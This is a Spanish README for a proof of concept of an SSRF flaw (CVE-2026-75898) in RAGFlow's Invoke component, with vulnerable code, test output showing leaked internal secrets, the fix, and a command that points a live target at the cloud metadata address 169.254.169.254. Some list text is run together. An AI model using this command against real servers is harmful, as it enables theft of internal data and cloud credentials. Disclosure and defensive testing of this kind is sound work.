
Prueba de concepto para CVE-2026-75898, un SSRF en el componente Invoke de RAGFlow. Demuestra la vulnerabilidad con el código fuente sin modificar, incluye pruebas E2E, comparación de correcciones y reproducción basada en Docker para pruebas de seguridad autorizadas.
| CVE | CVE-2026-75898 |
| CVSS | 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| Corregido en | v0.26.3 |
| Commits de corrección | c4fe68e, e16d1a0 |
| Referencias de incidencias | infiniflow/ragflow#15425, #18280 |
| Aviso | VulnCheck |
En agent/component/invoke.py de v0.26.2, el componente Invoke construye la
URL de la solicitud a partir de plantillas de variables proporcionadas por el usuario y no realiza ninguna validación
del host resuelto:
def _build_url(self, kwargs: dict) -> str:
url = self._resolve_template_text(self._param.url.strip(), kwargs)
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url
Esta URL llega a requests.get/post/put en _send_request(). Dado que
allow_redirects se deja con el valor predeterminado de requests (True), un atacante puede:
url de Invoke a una dirección interna (127.0.0.1, 169.254.169.254,
rangos RFC1918, no existe fijación del host resuelto), oLa corrección añade assert_url_is_safe() + pin_dns() y fuerza
allow_redirects=False.
A diferencia de las reimplementaciones "que se parecen", este repositorio ejecuta el código fuente sin modificar v0.26.2 del componente vulnerable:
target/invoke_v0.26.2.py — agent/component/invoke.py byte por byte
de la etiqueta v0.26.2.e2e/test_genuine_ssrf.py — carga ese archivo real detrás de stubs de importación ligeros
(el stub reemplaza solo importaciones no relacionadas: ComponentBase, el decorador
timeout y HtmlParser — ninguna de las lógicas de la ruta SSRF se toca) y
demuestra que el componente alcanza un servicio interno directamente y a través de una cadena
de redirecciones.e2e/test_fix_guard.py — aplica la protección ascendente (assert_url_is_safe,
allow_redirects=False) en el mismo archivo y muestra que las solicitudes son
bloqueadas.Validado de tres formas independientes:
e2e/test_genuine_ssrf.py ejecuta
el código fuente sin modificar target/invoke_v0.26.2.py contra servidores de laboratorio
de loopback — SSRF confirmado.e2e/test_fix_guard.py aplica la protección ascendente al
mismo archivo — bloqueado.v0.26.2 (infinity+mysql+minio+valkey)
mediante docker compose; un nodo Invoke en un flujo de agente real obtuvo
INTERNAL-DB-SECRET:dbpassword=SuperSecret123 de un puerto de host interno.
Consulta LAB_DEMO.md para ver la evidencia textual.cd e2e
python3 test_genuine_ssrf.py # debe imprimir SSRF confirmed (vulnerable)
python3 test_fix_guard.py # debe imprimir BLOCKED (comportamiento corregido)
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
response: 'INTERNAL-SECRET-/internal/admin/reset' (X-Internal header: true)
[?] SSRF confirmed: internal service reached, secret leaked
[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
final: 'INTERNAL-SECRET-/internal/redirected'
[?] SSRF via redirect chain confirmed
Requiere un token de sesión autenticado (Invoke se ejecuta dentro de un flujo de agente).
python3 poc.py --poc # E2E local
python3 poc.py --check --target https://ragflow.example.com \
--token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/
Invoke de agentes a una lista de permitidos.Corregido en RAGFlow v0.26.3 (agosto de 2026). Este PoC fue reconstruido de forma independiente a partir del aviso público y los commits de corrección únicamente para pruebas de seguridad autorizadas y fines educativos. No está afiliado con InfiniFlow.